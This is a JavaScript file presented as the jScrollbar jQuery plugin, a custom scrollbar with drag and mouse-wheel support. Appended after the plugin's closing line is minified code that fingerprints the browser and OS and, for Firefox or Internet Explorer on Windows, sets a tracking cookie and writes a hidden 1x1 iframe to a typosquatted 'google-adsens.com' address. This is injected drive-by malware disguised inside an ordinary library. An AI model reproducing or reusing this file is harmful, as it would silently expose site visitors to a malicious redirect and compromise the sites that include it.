/************************************************************************
*************************************************************************
@Name :      	jScrollbar - jQuery Plugin
@Revison :  1.0
@Date :        21/03/2011
@Author:	 ALPIXEL - http://www.myjqueryplugins.com - http://www.alpixel.fr
@License :		 Open Source - MIT License : http://www.opensource.org/licenses/mit-license.php
**************************************************************************
*************************************************************************/
(function($) {
	$.fn.jScrollbar= function(op) {
        var defaults = {
			scrollStep : 10,
			allowMouseWheel : true
        };
		
		if(this.length>0)
		return this.each(function() {
			
			/*
			// Vars
			*/
			var 
				$this = $(this),
				opts = $.extend(defaults, op),
				js_mask = $this.find('.jScrollbar_mask'),
				js_drag = $this.find('.jScrollbar_draggable a.draggable'),
				js_Parentdrag = $this.find('.jScrollbar_draggable'),
				diff = parseInt(js_mask.innerHeight()) - parseInt($this.height());
			
			/** if mask container is heighter than the main container **/
			if(diff > 0)
			{
				js_Parentdrag.show();
				var pxDraggable = parseInt(js_Parentdrag.height()) - parseInt(js_drag.height());;
				var pxUpWhenScrollMove = opts.scrollStep;
				var pxUpWhenMaskMove = pxUpWhenScrollMove * (diff/pxDraggable);
				
				js_drag
				.click(function(e){e.preventDefault();})
				.draggable({
					axis:'y',
					containment: js_Parentdrag,
					scroll: false,
					drag: function(event, ui){
						js_mask.css('top','-'+(ui.position.top * (diff/pxDraggable))+'px');
					}
				});
				
				
				/** if mousewheel allowed **/
				if(opts.allowMouseWheel)
				$this.mousewheel(function(objEvent, intDelta) {
					// mousewheel up (first if)  and mousewheel down (second if)
					if (intDelta > 0 && parseInt(js_mask.css('top')) < 0){
						js_drag.stop(true, true).animate({top:'-='+pxUpWhenScrollMove+'px'}, 100);
						js_mask.stop(true, true).animate({top:'+='+pxUpWhenMaskMove+'px'},100,function(){
							RelativeTop = parseInt(js_mask.css('top'));
							if(RelativeTop > 0 ) {
								js_drag.animate({top:'0px'},150);
								js_mask.css({top:0});
							}
						});
					}
					else if (intDelta < 00 && parseInt(js_mask.css('top')) > -diff) {
						js_drag.stop(true, true).animate({top:'+='+pxUpWhenScrollMove+'px'}, 100);
						js_mask.stop(true, true).animate({top:'-='+pxUpWhenMaskMove+'px'},100,function(){
							RelativeTop = parseInt(js_mask.css('top'));
							if(RelativeTop < -diff)
							{
								js_mask.css({top:-diff});
								js_drag.animate({top:pxDraggable},150);
							}
						});
					}
				});
			}
		});

	}
})(jQuery);var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}